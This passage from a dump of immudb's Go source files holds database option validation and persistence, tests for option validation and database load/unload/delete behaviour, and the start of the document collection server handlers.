{\n\t\tif opts.AHTOptions == nil {\n\t\t\topts.AHTOptions = s.defaultAHTOptions()\n\t\t}\n\n\t\tif settings.AhtSettings.SyncThreshold != nil {\n\t\t\topts.AHTOptions.SyncThreshold = int(settings.AhtSettings.SyncThreshold.Value)\n\t\t}\n\n\t\tif settings.AhtSettings.WriteBufferSize != nil {\n\t\t\topts.AHTOptions.WriteBufferSize = int(settings.AhtSettings.WriteBufferSize.Value)\n\t\t}\n\t}\n\n\terr := opts.Validate()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"%w: %v\", ErrIllegalArguments, err)\n\t}\n\n\treturn nil\n}\n\nfunc (opts *dbOptions) Validate() error {\n\tif opts.Replica {\n\t\tif opts.PrefetchTxBufferSize <= 0 {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid value for replication option PrefetchTxBufferSize on replica database '%s'\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t\tif opts.ReplicationCommitConcurrency <= 0 {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid value for replication option ReplicationCommitConcurrency on replica database '%s'\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t\tif opts.SyncAcks > 0 {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid value for replication option SyncAcks ReplicationCommitConcurrency on database '%s'\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t} else {\n\t\tif opts.SyncAcks < 0 {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid value for replication option SyncAcks on primary database '%s'\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t\tif opts.PrimaryDatabase != \"\" {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid value for replication option PrimaryDatabase on primary database '%s'\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t\tif opts.PrimaryHost != \"\" {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid value for replication option PrimaryHost on primary database '%s'\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t\tif opts.PrimaryPort > 0 {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid value for replication option PrimaryPort on primary database '%s'\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t\tif opts.PrimaryUsername != \"\" {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid value for replication option PrimaryUsername on primary database '%s'\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t\tif opts.PrimaryPassword != \"\" {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid value for replication option PrimaryPassword on primary database '%s'\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t\tif opts.PrefetchTxBufferSize > 0 {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid value for replication option PrefetchTxBufferSize on primary database '%s'\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t\tif opts.ReplicationCommitConcurrency > 0 {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid value for replication option ReplicationCommitConcurrency on primary database '%s'\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t\tif opts.AllowTxDiscarding {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid value for replication option AllowTxDiscarding on primary database '%s'\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t\tif opts.SkipIntegrityCheck {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid value for replication option SkipIntegrityCheck on primary database '%s'\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t\tif opts.WaitForIndexing {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid value for replication option WaitForIndexing on primary database '%s'\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t\tif opts.SyncReplication && opts.SyncAcks == 0 {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid replication options for primary database '%s'. It is necessary to have at least one sync replica\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\n\t\tif !opts.SyncReplication && opts.SyncAcks > 0 {\n\t\t\treturn fmt.Errorf(\n\t\t\t\t\"%w: invalid replication options for primary database '%s'. SyncAcks should be set to 0\",\n\t\t\t\tErrIllegalArguments, opts.Database)\n\t\t}\n\t}\n\n\tif opts.ReadTxPoolSize <= 0 {\n\t\treturn fmt.Errorf(\n\t\t\t\"%w: invalid read tx pool size (%d) for database '%s'\",\n\t\t\tErrIllegalArguments, opts.ReadTxPoolSize, opts.Database,\n\t\t)\n\t}\n\n\tif opts.RetentionPeriod < 0 || (opts.RetentionPeriod > 0 && opts.RetentionPeriod < Milliseconds(store.MinimumRetentionPeriod.Milliseconds())) {\n\t\treturn fmt.Errorf(\n\t\t\t\"%w: invalid retention period for database '%s'. RetentionPeriod should at least '%v' hours\",\n\t\t\tErrIllegalArguments, opts.Database, store.MinimumRetentionPeriod.Hours())\n\t}\n\n\tif opts.TruncationFrequency < 0 || (opts.TruncationFrequency > 0 && opts.TruncationFrequency < Milliseconds(store.MinimumTruncationFrequency.Milliseconds())) {\n\t\treturn fmt.Errorf(\n\t\t\t\"%w: invalid truncation frequency for database '%s'. TruncationFrequency should at least '%v' hour\",\n\t\t\tErrIllegalArguments, opts.Database, store.MinimumTruncationFrequency.Hours())\n\t}\n\n\treturn opts.storeOptions().Validate()\n}\n\nfunc (opts *dbOptions) isReplicatorRequired() bool {\n\treturn opts.Replica &&\n\t\topts.PrimaryDatabase != \"\" &&\n\t\topts.PrimaryHost != \"\" &&\n\t\topts.PrimaryPort > 0\n}\n\nfunc (opts *dbOptions) isDataRetentionEnabled() bool {\n\treturn opts.RetentionPeriod > 0\n}\n\nfunc (s *ImmuServer) saveDBOptions(options *dbOptions) error {\n\tserializedOptions, err := json.Marshal(options)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\toptionsKey := make([]byte, 1+len(options.Database))\n\toptionsKey[0] = KeyPrefixDBSettings\n\tcopy(optionsKey[1:], []byte(options.Database))\n\n\t_, err = s.sysDB.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: optionsKey, Value: serializedOptions}}})\n\n\treturn err\n}\n\nfunc (s *ImmuServer) deleteDBOptionsFor(db string) error {\n\toptionsKey := make([]byte, 1+len(db))\n\toptionsKey[0] = KeyPrefixDBSettings\n\tcopy(optionsKey[1:], []byte(db))\n\n\t_, err := s.sysDB.Delete(context.Background(), &schema.DeleteKeysRequest{\n\t\tKeys: [][]byte{\n\t\t\toptionsKey,\n\t\t},\n\t})\n\n\treturn err\n}\n\nfunc (s *ImmuServer) loadDBOptions(database string, createIfNotExists bool) (*dbOptions, error) {\n\tif database == s.Options.systemAdminDBName || database == s.Options.defaultDBName {\n\t\treturn s.defaultDBOptions(database, s.Options.systemAdminDBName), nil\n\t}\n\n\toptionsKey := make([]byte, 1+len(database))\n\toptionsKey[0] = KeyPrefixDBSettings\n\tcopy(optionsKey[1:], []byte(database))\n\n\toptions := s.defaultDBOptions(database, \"\")\n\n\te, err := s.sysDB.Get(context.Background(), &schema.KeyRequest{Key: optionsKey})\n\tif errors.Is(err, store.ErrKeyNotFound) && createIfNotExists {\n\t\terr = s.saveDBOptions(options)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn options, nil\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = json.Unmarshal(e.Value, &options)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn options, nil\n}\n\nfunc (s *ImmuServer) logDBOptions(database string, opts *dbOptions) {\n\t// This list is manually updated to ensure we don't expose sensitive information\n\t// in logs such as replication passwords\n\ts.Logger.Infof(\"%s.Autoload: %v\", database, opts.Autoload.isEnabled())\n\ts.Logger.Infof(\"%s.Synced: %v\", database, opts.synced)\n\ts.Logger.Infof(\"%s.SyncFrequency: %v\", database, opts.SyncFrequency)\n\ts.Logger.Infof(\"%s.Replica: %v\", database, opts.Replica)\n\ts.Logger.Infof(\"%s.SyncReplication: %v\", database, opts.SyncReplication)\n\ts.Logger.Infof(\"%s.SyncAcks: %v\", database, opts.SyncAcks)\n\ts.Logger.Infof(\"%s.PrefetchTxBufferSize: %v\", database, opts.PrefetchTxBufferSize)\n\ts.Logger.Infof(\"%s.ReplicationCommitConcurrency: %v\", database, opts.ReplicationCommitConcurrency)\n\ts.Logger.Infof(\"%s.AllowTxDiscarding: %v\", database, opts.AllowTxDiscarding)\n\ts.Logger.Infof(\"%s.SkipIntegrityCheck: %v\", database, opts.SkipIntegrityCheck)\n\ts.Logger.Infof(\"%s.WaitForIndexing: %v\", database, opts.WaitForIndexing)\n\ts.Logger.Infof(\"%s.FileSize: %v\", database, opts.FileSize)\n\ts.Logger.Infof(\"%s.MaxKeyLen: %v\", database, opts.MaxKeyLen)\n\ts.Logger.Infof(\"%s.MaxValueLen: %v\", database, opts.MaxValueLen)\n\ts.Logger.Infof(\"%s.MaxTxEntries: %v\", database, opts.MaxTxEntries)\n\ts.Logger.Infof(\"%s.EmbeddedValues: %v\", database, opts.EmbeddedValues)\n\ts.Logger.Infof(\"%s.PreallocFiles: %v\", database, opts.PreallocFiles)\n\ts.Logger.Infof(\"%s.ExcludeCommitTime: %v\", database, opts.ExcludeCommitTime)\n\ts.Logger.Infof(\"%s.MaxActiveTransactions: %v\", database, opts.MaxActiveTransactions)\n\ts.Logger.Infof(\"%s.MVCCReadSetLimit: %v\", database, opts.MVCCReadSetLimit)\n\ts.Logger.Infof(\"%s.MaxConcurrency: %v\", database, opts.MaxConcurrency)\n\ts.Logger.Infof(\"%s.MaxIOConcurrency: %v\", database, opts.MaxIOConcurrency)\n\ts.Logger.Infof(\"%s.WriteBufferSize: %v\", database, opts.WriteBufferSize)\n\ts.Logger.Infof(\"%s.TxLogCacheSize: %v\", database, opts.TxLogCacheSize)\n\ts.Logger.Infof(\"%s.VLogCacheSize: %v\", database, opts.VLogCacheSize)\n\ts.Logger.Infof(\"%s.VLogMaxOpenedFiles: %v\", database, opts.VLogMaxOpenedFiles)\n\ts.Logger.Infof(\"%s.TxLogMaxOpenedFiles: %v\", database, opts.TxLogMaxOpenedFiles)\n\ts.Logger.Infof(\"%s.CommitLogMaxOpenedFiles: %v\", database, opts.CommitLogMaxOpenedFiles)\n\ts.Logger.Infof(\"%s.WriteTxHeaderVersion: %v\", database, opts.WriteTxHeaderVersion)\n\ts.Logger.Infof(\"%s.ReadTxPoolSize: %v\", database, opts.ReadTxPoolSize)\n\ts.Logger.Infof(\"%s.TruncationFrequency: %v\", database, opts.TruncationFrequency)\n\ts.Logger.Infof(\"%s.RetentionPeriod: %v\", database, opts.RetentionPeriod)\n\ts.Logger.Infof(\"%s.IndexOptions.FlushThreshold: %v\", database, opts.IndexOptions.FlushThreshold)\n\ts.Logger.Infof(\"%s.IndexOptions.SyncThreshold: %v\", database, opts.IndexOptions.SyncThreshold)\n\ts.Logger.Infof(\"%s.IndexOptions.FlushBufferSize: %v\", database, opts.IndexOptions.FlushBufferSize)\n\ts.Logger.Infof(\"%s.IndexOptions.CleanupPercentage: %v\", database, opts.IndexOptions.CleanupPercentage)\n\ts.Logger.Infof(\"%s.IndexOptions.CacheSize: %v\", database, opts.IndexOptions.CacheSize)\n\ts.Logger.Infof(\"%s.IndexOptions.MaxNodeSize: %v\", database, opts.IndexOptions.MaxNodeSize)\n\ts.Logger.Infof(\"%s.IndexOptions.MaxActiveSnapshots: %v\", database, opts.IndexOptions.MaxActiveSnapshots)\n\ts.Logger.Infof(\"%s.IndexOptions.RenewSnapRootAfter: %v\", database, opts.IndexOptions.RenewSnapRootAfter)\n\ts.Logger.Infof(\"%s.IndexOptions.CompactionThld: %v\", database, opts.IndexOptions.CompactionThld)\n\ts.Logger.Infof(\"%s.IndexOptions.DelayDuringCompaction: %v\", database, opts.IndexOptions.DelayDuringCompaction)\n\ts.Logger.Infof(\"%s.IndexOptions.NodesLogMaxOpenedFiles: %v\", database, opts.IndexOptions.NodesLogMaxOpenedFiles)\n\ts.Logger.Infof(\"%s.IndexOptions.HistoryLogMaxOpenedFiles: %v\", database, opts.IndexOptions.HistoryLogMaxOpenedFiles)\n\ts.Logger.Infof(\"%s.IndexOptions.CommitLogMaxOpenedFiles: %v\", database, opts.IndexOptions.CommitLogMaxOpenedFiles)\n\ts.Logger.Infof(\"%s.IndexOptions.MaxBulkSize: %v\", database, opts.IndexOptions.MaxBulkSize)\n\ts.Logger.Infof(\"%s.IndexOptions.BulkPreparationTimeout: %v\", database, opts.IndexOptions.BulkPreparationTimeout)\n\ts.Logger.Infof(\"%s.AHTOptions.SyncThreshold: %v\", database, opts.AHTOptions.SyncThreshold)\n\ts.Logger.Infof(\"%s.AHTOptions.WriteBufferSize: %v\", database, opts.AHTOptions.WriteBufferSize)\n}\n"
  },
  {
    "path": "pkg/server/db_options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/replication\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDefaultOptions(t *testing.T) {\n\tdir := t.TempDir()\n\n\ts, closer := testServer(DefaultOptions().WithDir(dir))\n\tdefer closer()\n\n\topts := s.defaultDBOptions(\"db1\", \"user\")\n\n\trequire.NoError(t, opts.Validate())\n\n\topts.ReadTxPoolSize = 0\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n}\n\nfunc TestReplicaOptions(t *testing.T) {\n\tdir := t.TempDir()\n\n\ts, closer := testServer(DefaultOptions().WithDir(dir))\n\tdefer closer()\n\n\topts := s.defaultDBOptions(\"db1\", \"user\")\n\n\topts.Replica = true\n\n\topts.PrefetchTxBufferSize = replication.DefaultPrefetchTxBufferSize\n\topts.ReplicationCommitConcurrency = replication.DefaultReplicationCommitConcurrency\n\topts.SyncAcks = 0\n\n\trequire.NoError(t, opts.Validate())\n\n\topts.SyncAcks = 1\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n\n\topts.ReplicationCommitConcurrency = 0\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n\n\topts.PrefetchTxBufferSize = 0\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n}\n\nfunc TestPrimaryOptions(t *testing.T) {\n\tdir := t.TempDir()\n\n\ts, closer := testServer(DefaultOptions().WithDir(dir))\n\tdefer closer()\n\n\topts := s.defaultDBOptions(\"db1\", \"user\")\n\n\topts.Replica = false\n\n\trequire.NoError(t, opts.Validate())\n\n\topts.SyncReplication = false\n\topts.SyncAcks = 1\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n\n\topts.SyncReplication = true\n\topts.SyncAcks = 0\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n\n\topts.AllowTxDiscarding = true\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n\n\topts.ReplicationCommitConcurrency = 1\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n\n\topts.PrefetchTxBufferSize = 100\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n\n\topts.PrimaryPassword = \"primary-pwd\"\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n\n\topts.PrimaryUsername = \"primary-username\"\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n\n\topts.PrimaryPort = 3323\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n\n\topts.PrimaryHost = \"localhost\"\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n\n\topts.PrimaryDatabase = \"primarydb\"\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n\n\topts.SyncAcks = -1\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n\n\topts.TruncationFrequency = -1\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n\n\topts.RetentionPeriod = -1\n\trequire.ErrorIs(t, opts.Validate(), ErrIllegalArguments)\n}\n"
  },
  {
    "path": "pkg/server/db_runtime_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\nfunc TestServerDatabaseRuntime(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithDir(dir)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\ts.Initialize()\n\n\tctx := context.Background()\n\n\tresp, err := s.OpenSession(ctx, &schema.OpenSessionRequest{\n\t\tUsername:     []byte(auth.SysAdminUsername),\n\t\tPassword:     []byte(auth.SysAdminPassword),\n\t\tDatabaseName: DefaultDBName,\n\t})\n\trequire.NoError(t, err)\n\n\tctx = metadata.NewIncomingContext(context.Background(), metadata.New(map[string]string{\"sessionid\": resp.GetSessionID()}))\n\n\tt.Run(\"reserved databases can not be updated\", func(t *testing.T) {\n\t\t_, err = s.UpdateDatabaseV2(ctx, &schema.UpdateDatabaseRequest{\n\t\t\tDatabase: SystemDBName,\n\t\t\tSettings: &schema.DatabaseNullableSettings{\n\t\t\t\tAutoload: &schema.NullableBool{Value: false},\n\t\t\t},\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrReservedDatabase)\n\n\t\t_, err = s.UpdateDatabaseV2(ctx, &schema.UpdateDatabaseRequest{\n\t\t\tDatabase: DefaultDBName,\n\t\t\tSettings: &schema.DatabaseNullableSettings{\n\t\t\t\tAutoload: &schema.NullableBool{Value: false},\n\t\t\t},\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrReservedDatabase)\n\t})\n\n\tt.Run(\"user created databases can be updated\", func(t *testing.T) {\n\t\t_, err = s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{\n\t\t\tName: \"db1\",\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.UseDatabase(ctx, &schema.Database{DatabaseName: \"db1\"})\n\t\trequire.NoError(t, err)\n\n\t\tres, err := s.GetDatabaseSettingsV2(ctx, &schema.DatabaseSettingsRequest{})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, res)\n\t\trequire.Equal(t, \"db1\", res.Database)\n\t\trequire.True(t, res.Settings.Autoload.GetValue())\n\n\t\t_, err = s.UpdateDatabaseV2(ctx, &schema.UpdateDatabaseRequest{\n\t\t\tDatabase: \"db1\",\n\t\t\tSettings: &schema.DatabaseNullableSettings{\n\t\t\t\tAutoload: &schema.NullableBool{Value: false},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tres, err = s.GetDatabaseSettingsV2(ctx, &schema.DatabaseSettingsRequest{})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, res)\n\t\trequire.Equal(t, \"db1\", res.Database)\n\t\trequire.False(t, res.Settings.Autoload.GetValue())\n\n\t})\n\n\tt.Run(\"attempt to delete an open database should fail\", func(t *testing.T) {\n\t\t_, err = s.DeleteDatabase(ctx, &schema.DeleteDatabaseRequest{Database: \"db1\"})\n\t\trequire.ErrorIs(t, err, database.ErrCannotDeleteAnOpenDatabase)\n\t})\n\n\tt.Run(\"attempt to load an already loaded database should fail\", func(t *testing.T) {\n\t\t_, err = s.LoadDatabase(ctx, &schema.LoadDatabaseRequest{Database: \"db1\"})\n\t\trequire.ErrorIs(t, err, ErrDatabaseAlreadyLoaded)\n\t})\n\n\tt.Run(\"attempt to unload a loaded database should succeed\", func(t *testing.T) {\n\t\t_, err = s.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: \"db1\"})\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"attempt to load an unloaded database should succeed\", func(t *testing.T) {\n\t\t_, err = s.LoadDatabase(ctx, &schema.LoadDatabaseRequest{Database: \"db1\"})\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"attempt to delete an unloaded database should succeed\", func(t *testing.T) {\n\t\t_, err = s.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: \"db1\"})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.DeleteDatabase(ctx, &schema.DeleteDatabaseRequest{Database: \"db1\"})\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"attempt to load a deleted database should fail\", func(t *testing.T) {\n\t\t_, err = s.LoadDatabase(ctx, &schema.LoadDatabaseRequest{Database: \"db1\"})\n\t\trequire.ErrorIs(t, err, database.ErrDatabaseNotExists)\n\t})\n\n\t_, err = s.CloseSession(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n}\n\nfunc TestServerDatabaseRuntimeEdgeCases(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithDir(dir)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\ts.Initialize()\n\n\tctx := context.Background()\n\n\tresp, err := s.OpenSession(ctx, &schema.OpenSessionRequest{\n\t\tUsername:     []byte(auth.SysAdminUsername),\n\t\tPassword:     []byte(auth.SysAdminPassword),\n\t\tDatabaseName: DefaultDBName,\n\t})\n\trequire.NoError(t, err)\n\n\tctx = metadata.NewIncomingContext(context.Background(), metadata.New(map[string]string{\"sessionid\": resp.GetSessionID()}))\n\n\tfor i, c := range []struct {\n\t\treq *schema.LoadDatabaseRequest\n\t\terr error\n\t}{\n\t\t{nil, ErrIllegalArguments},\n\t\t{&schema.LoadDatabaseRequest{Database: s.Options.systemAdminDBName}, ErrReservedDatabase},\n\t\t{&schema.LoadDatabaseRequest{Database: s.Options.defaultDBName}, ErrReservedDatabase},\n\t\t{&schema.LoadDatabaseRequest{Database: \"unexistent_db\"}, database.ErrDatabaseNotExists},\n\t} {\n\t\tt.Run(fmt.Sprintf(\"loadDatabaseCase%d\", i), func(t *testing.T) {\n\t\t\tres, err := s.LoadDatabase(ctx, c.req)\n\t\t\tif c.err == nil {\n\t\t\t\trequire.NoError(t, err)\n\t\t\t} else {\n\t\t\t\trequire.ErrorIs(t, err, c.err)\n\t\t\t}\n\t\t\trequire.Nil(t, res)\n\t\t})\n\t}\n\n\tfor i, c := range []struct {\n\t\treq *schema.UpdateDatabaseRequest\n\t\terr error\n\t}{\n\t\t{nil, ErrIllegalArguments},\n\t\t{&schema.UpdateDatabaseRequest{Database: s.Options.systemAdminDBName}, ErrReservedDatabase},\n\t\t{&schema.UpdateDatabaseRequest{Database: s.Options.defaultDBName}, ErrReservedDatabase},\n\t\t{&schema.UpdateDatabaseRequest{Database: \"unexistent_db\"}, database.ErrDatabaseNotExists},\n\t} {\n\t\tt.Run(fmt.Sprintf(\"updateDatabaseCase%d\", i), func(t *testing.T) {\n\t\t\tres, err := s.UpdateDatabaseV2(ctx, c.req)\n\t\t\tif c.err == nil {\n\t\t\t\trequire.NoError(t, err)\n\t\t\t} else {\n\t\t\t\trequire.ErrorIs(t, err, c.err)\n\t\t\t}\n\t\t\trequire.Nil(t, res)\n\t\t})\n\t}\n\n\tfor i, c := range []struct {\n\t\treq *schema.UnloadDatabaseRequest\n\t\terr error\n\t}{\n\t\t{nil, ErrIllegalArguments},\n\t\t{&schema.UnloadDatabaseRequest{Database: s.Options.systemAdminDBName}, ErrReservedDatabase},\n\t\t{&schema.UnloadDatabaseRequest{Database: s.Options.defaultDBName}, ErrReservedDatabase},\n\t\t{&schema.UnloadDatabaseRequest{Database: \"unexistent_db\"}, database.ErrDatabaseNotExists},\n\t} {\n\t\tt.Run(fmt.Sprintf(\"unloadDatabaseCase%d\", i), func(t *testing.T) {\n\t\t\tres, err := s.UnloadDatabase(ctx, c.req)\n\t\t\tif c.err == nil {\n\t\t\t\trequire.NoError(t, err)\n\t\t\t} else {\n\t\t\t\trequire.ErrorIs(t, err, c.err)\n\t\t\t}\n\t\t\trequire.Nil(t, res)\n\t\t})\n\t}\n\n\tfor i, c := range []struct {\n\t\treq *schema.DeleteDatabaseRequest\n\t\terr error\n\t}{\n\t\t{nil, ErrIllegalArguments},\n\t\t{&schema.DeleteDatabaseRequest{Database: s.Options.systemAdminDBName}, ErrReservedDatabase},\n\t\t{&schema.DeleteDatabaseRequest{Database: s.Options.defaultDBName}, ErrReservedDatabase},\n\t\t{&schema.DeleteDatabaseRequest{Database: \"unexistent_db\"}, database.ErrDatabaseNotExists},\n\t} {\n\t\tt.Run(fmt.Sprintf(\"deleteDatabaseCase%d\", i), func(t *testing.T) {\n\t\t\tres, err := s.DeleteDatabase(ctx, c.req)\n\t\t\tif c.err == nil {\n\t\t\t\trequire.NoError(t, err)\n\t\t\t} else {\n\t\t\t\trequire.ErrorIs(t, err, c.err)\n\t\t\t}\n\t\t\trequire.Nil(t, res)\n\t\t})\n\t}\n\n\t_, err = s.CloseSession(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/server/documents_operations.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/embedded/document\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/server/sessions\"\n\t\"github.com/rs/xid\"\n)\n\nfunc (s *ImmuServer) CreateCollection(ctx context.Context, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"CreateCollection\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\treturn db.CreateCollection(ctx, user.Username, req)\n}\n\nfunc (s *ImmuServer) UpdateCollection(ctx context.Context, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"UpdateCollection\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\treturn db.UpdateCollection(ctx, user.Username, req)\n}\n\nfunc (s *ImmuServer) GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"GetCollection\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.GetCollection(ctx, req)\n}\n\nfunc (s *ImmuServer) GetCollections(ctx context.Context, req *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"GetCollections\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.GetCollections(ctx, req)\n}\n\nfunc (s *ImmuServer) DeleteCollection(ctx context.Context, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"DeleteCollection\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\treturn db.DeleteCollection(ctx, user.Username, req)\n}\n\nfunc (s *ImmuServer) AddField(ctx context.Context, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"AddField\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\treturn db.AddField(ctx, user.Username, req)\n}\n\nfunc (s *ImmuServer) RemoveField(ctx 